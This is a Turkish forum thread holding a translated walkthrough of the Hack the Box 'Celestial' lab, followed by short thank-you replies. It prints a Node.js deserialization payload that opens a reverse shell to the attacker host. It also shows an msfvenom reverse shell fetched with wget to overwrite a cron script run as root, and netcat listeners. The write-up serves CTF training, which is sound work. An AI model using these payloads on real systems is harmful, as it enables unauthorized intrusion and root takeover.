THT DUYURU

Capture The Flag Vulnerable VM Walkthrough & Capture The Flag Writeup Yazabileceğiniz Bölüm

Seçenekler

Hack the Box | Celestial CTF Çözümü / R4V3N

R4V3N - ait Kullanıcı Resmi (Avatar)
Çevirmen
Üyelik tarihi:
07/2016
Nereden:
cs_mansion
Yaş:
21
Mesajlar:
6.059
Konular:
340
Teşekkür (Etti):
750
Teşekkür (Aldı):
2168
Ticaret:
(0) %
07-09-2018 00:32
#1
Post
Hack the Box | Celestial CTF Çözümü / R4V3N



Bu makale Moderasyon Çeviri Ekibi tarafından çevrilmiştir. Orijinal içeriğe
Hack the Box: Celestial Walkthrough adresinden ulaşabilirsiniz.

Zorluk Seviyesi: Orta

Görev: Kurbanın bilgisayarında user.txt ve root.txt dosyalarını bulmak.

Başlayalım..

Bu pentest laboratuvarları internetten olduğundan, statik IP'ye sahiplerdir. Bunun IP'si 10.10.10.85.

Hedefimizi bulmak için ağı taramakla işe koyulalım.

Kod:
nmap -A 10.10.10.85




NMAP çıktısı, bize hedef bilgisayarda TCP 3000 portunun açık olduğunu gösteriyor. Aşağıdaki gibi standart olmayan HTTP portundan (3000) siteye erişim sağlamaya çalışalım.

Url kısmına

Kod:
10.10.10.85:3000

yazdığımızda şöyle bir sayfa karşımıza çıkıyor:



Diğer pek çok olasılıkları da denedikten sonra ilerlemek için halen bir ipucu bulamadığımızdan, çabucak Burpsuite aracı ile sitenin isteğini anlamaya çalışalım. Bu nedenle, sayfasının GET isteğini yakaladıktan sonra, (kırmızıyla gösterilen) profile= Cookie parametresini fark ettik.



profile= Cookie parametresindeki tüm değeri kopyalayalım ve Burpsuite decoder (şifre çözücü) içine yapıştıralım.

Kod:
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D


Aynı şifreyi çözerken çıktısını base64 formatında alacağız. Base64 format çıktısının şifresini bir kez daha çözeceğiz ve şifrenin açık metin halini görebileceğiz. Çıktı bize belirli bir kullanıcının kullanıcı adını ve diğer detaylarını gösterdi. Bu da, istediğimiz sonucu almak için, kodlarımızı Cookie profili parametre değerine ekleyebileceğimize işarettir.



Uzaktan erişim sağlayan bir hatadır bu Node JS ters serileştirme (deserialization) hatası. Çoklu sayısal değerler kapsayan belirli bir karakter dizisi bulunduran bir fonksiyon var.



10'dan 10'a kadarki tüm (String.fromCharCode sonrasındaki) sayısal içerikleri kopyalayalım. Şu:

Kod:
https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html


linke girelim ve aşağıdaki resimde gösterildiği gibi Decimal'den ASCII'a çevirelim.



Şimdi de ASCII içeriğini değiştirelim ve IP'si 10.10.14.3 olan Kali'mizde HOST ve PORT parametrelerini HOST=10.10.14.3 ve PORT= 4444 olacak şekilde düzenleyelim. Tamamlandığında, Decimal'de aşağıda gösterilenle aynı çıktıyı elde edeceğiz.



Her numara birbirinden virgülle ayrılmış bir şekilde yukarıdaki resimde de olduğu gibi 118'den 10'a kadar olan Decimal çıktısını kopyalayın.

Not: Gördüğümüz üzere, yukarıdaki Decimal çıktısı boşluk ile ayrılmıştı lakin bundan sonra ya elle tek tek yapmalı ya da aşağıda verdiğim Python scriptini kullanıp yapmalı.

Kod:
https://github.com/Sayantan5/Holiday/blob/master/encode.py


Virgülle ayrılmış Decimal çıktısı hazır olduğunda şimdi ise aşağıda gösterildiği gibi kodun içine yapıştırmalıyız (decimal çıktısını değerle yer değiştirelim) ve aynı şekilde Base64 şifrelemesini uygulayalım.

Kod:
echo {"username":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(value) )}()"} | base64 -w0




Yukarıdaki şifrelenmiş çıktıyı kopyalayalım ve aşağıdaki resimde gösterildiği gibi Burpsuite'de Profile= parametresinin önüne yapıştıralım.



Tamamlandığında, Burpsuite Intercept sekmesindeki Forward seçeneğine tıklayalım.

Not: Burpsuite'de değiştirdiğimiz içeriği yollamadan önce, Kali'de Netcat dinleyicisini kurmalıyız ve hazır tutmalıyız.

Kod:
nc -lvp 4444


Uygun bir TTY shell'ine erişmek için aşağıdaki tek satırlık Python script'ini içe aktarmalıyız.

Kod:
python -c 'import pty;pty.spawn("/bin/bash")'


İşte bu! Hedef bilgisayara Reverse shell attık.

İçeriğine şöylece bir göz atalım.

Kod:
ls


Çok klasör taradık ve sonunda ********s klasöründe ilgi çekici şeyler gördük.

Kod:
cd ********s


Burada user.txt dosyasını bulduk, içeriğine bir bakalım.

Kod:
cat user.txt


User.txt dosyasının içinden çıkan bizim ilk bayrağımız.



Bunun yanı sıra içeriğini inceleme merakından bir de script.py dosyasını açalım.

Kod:
cat script.py


dersek, çıktı olarak şunu göreceğiz.

Kod:
print “Script is running”


Not: Bu da, bazı kayıt dosyalarını, hangi script'in çalıştığını ve periyodik temellerde çalışıp çalışmadığını görmek için incelememiz gerektiğini gösteren bir işaret.

Var dizinindeki kayıtların içeriğini incelememiz lazım.

Kod:
cd /var/log


Buradaki dosyalar neymiş ona bakalım.

Kod:
ls


Gördüğümüz gibi, bu klasörde oluşturulmuş bir çok syslog dosyası var. Eski kayıtlar uygun şekilde sıkıştırılıp numaralandırılıyor. Güncel olan kayıt dosyasının adı her zaman syslog olarak geçer. Bu yüzden syslog dosyasının içeriğini açacağız ve ilginç bir şey olup olmadığına bakmaya çalışacağız.

Kod:
cat syslog


Burada her beş dakikada bir çalışan, script.py dosyasının çıktısını kopyalayıp aşağıdaki dizinde output.txt adlı dosya yaratıp içine yapıştıran bir cronjob olduğunun farkına vardık.

Kod:
home/sun/********s


Şimdi ise kendi içeriğimizi script.py dosyasına koymaya çalışalım. Bunun için, aşağıdaki komut ile bir Reverse shell oluşturalım.

Kod:
msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport=1234 R


Msfvenom çıktısının içeriğini kopyalayalım ve Kali masaüstümüze script.py adında kaydedelim. Bunu sonraki adımlarda kullanacağız.



Şimdi de Kali'de web sunucusunu çalıştıralım.

Kod:
python -m SimpleHTTPServer 80




Script.py dosyasının içeriğini okuyalım.

Kod:
cat script.py


Çıktı bize şunu gösterdi:

Kod:
print “Script is running..”


Orijinal olan Python script dosyasının ismini aşağıdaki gibi script.py.original olacak şekilde değiştirelim.

Kod:
mv script.py script.py.original


Kali masaüstümüzden yeni oluşturduğumuz script.py dosyasını indirelim.

Kod:
wget http://10.10.14.3/script.py




Bir Netcat Reverse shell açın.

nc -lvp 1234

Uygun bir TTY shell'ine erişmek için aşağıdaki tek satırlık Python script'ini içe aktarmalıyız.

Kod:
python -c 'import pty;pty.spawn("/bin/bash")'


Helal be! Root'a girdik sonunda.

Root dizinine geçelim.

Kod:
cd /root


İçeriği neymiş bakalım.

Kod:
ls


Root.txt ve script.py adlı iki tane dosya var. Root.txt dosyasını açalım.

Kod:
cat root.txt




Süper! Görevimiz olan iki dosyaya da erişim sağladık.
ATABÖRÜ, Mr. Panda, Rhotav, Feyusa, 'Flash, M3m0ry Teşekkür etti.
PALA - ait Kullanıcı Resmi (Avatar)
Özel Üye
Üyelik tarihi:
03/2018
Mesajlar:
12.735
Konular:
239
Teşekkür (Etti):
482
Teşekkür (Aldı):
2908
Ticaret:
(0) %
07-09-2018 00:33
#2
Elinize sağlık
HydraThalles - ait Kullanıcı Resmi (Avatar)
İstihbarat Tim (Kıdemli)
Üyelik tarihi:
01/2017
Nereden:
UnderGround
Mesajlar:
2.433
Konular:
142
Teşekkür (Etti):
415
Teşekkür (Aldı):
663
Ticaret:
(0) %
07-09-2018 00:33
#3
Emeğinize sağlık
---------------------
Yasama, Yürütme, İstihbarat Tim

oldnco - ait Kullanıcı Resmi (Avatar)
Yardımsever
Üyelik tarihi:
09/2017
Yaş:
30
Mesajlar:
1.524
Konular:
43
Teşekkür (Etti):
641
Teşekkür (Aldı):
373
Ticaret:
(0) %
07-09-2018 00:33
#4
Elinize sağlık komutanım
--------------------- 💫 Alles wird sehr schön werden
theokeleS - ait Kullanıcı Resmi (Avatar)
E-Mail onayı yapılmamış üye
Üyelik tarihi:
05/2018
Mesajlar:
1.358
Konular:
31
Teşekkür (Etti):
68
Teşekkür (Aldı):
356
Ticaret:
(0) %
07-09-2018 00:33
#5
Emeğinize sağlık
ATABÖRÜ - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2017
Nereden:
Ötüken
Yaş:
83
Mesajlar:
3.370
Konular:
303
Teşekkür (Etti):
950
Teşekkür (Aldı):
911
Ticaret:
(0) %
07-09-2018 00:34
#6
Ellerine emeğine sağlık komutanım zengin konu
---------------------
Ey Türk milleti! Kendine dön! Sen yükseltmiş Bilge Kağan'ına, hür ve müstakil ülkene karşı hata ettin, kötü duruma düşürdün. Milletin adı, sanı yok olmasın diye Türk milleti için gece uyumadım, gündüz oturmadım. Kardeşim Kül Tegin ve iki şad ile ölesiye bitesiye çalıştım.
R4V3N - ait Kullanıcı Resmi (Avatar)
Çevirmen
Üyelik tarihi:
07/2016
Nereden:
cs_mansion
Yaş:
21
Mesajlar:
6.059
Konular:
340
Teşekkür (Etti):
750
Teşekkür (Aldı):
2168
Ticaret:
(0) %
07-09-2018 09:23
#7
Alıntı:
'PALA´isimli üyeden Alıntı Mesajı göster
Elinize sağlık
Alıntı:
HydraThalles´isimli üyeden Alıntı Mesajı göster
Emeğinize sağlık
Alıntı:
oldnco´isimli üyeden Alıntı Mesajı göster
Elinize sağlık komutanım
Alıntı:
theokeleS´isimli üyeden Alıntı Mesajı göster
Emeğinize sağlık
Alıntı:
ATABÖRÜ´isimli üyeden Alıntı Mesajı göster
Ellerine emeğine sağlık komutanım zengin konu
Sağolun.
Depdip - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2017
Nereden:
NewYork
Mesajlar:
1.583
Konular:
46
Teşekkür (Etti):
296
Teşekkür (Aldı):
421
Ticaret:
(0) %
07-09-2018 09:30
#8
Ellerinize sağlık.
Slyfer - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2016
Nereden:
Unknown
Mesajlar:
1.598
Konular:
33
Teşekkür (Etti):
18
Teşekkür (Aldı):
167
Ticaret:
(0) %
07-09-2018 09:31
#9
Elinize sağlık
---------------------

i want to sleep f o r e v e r
M4K4R - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2017
Nereden:
TristanCunha
Yaş:
79
Mesajlar:
4.366
Konular:
249
Teşekkür (Etti):
152
Teşekkür (Aldı):
894
Ticaret:
(0) %
07-09-2018 10:28
#10
Eline sağlık

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler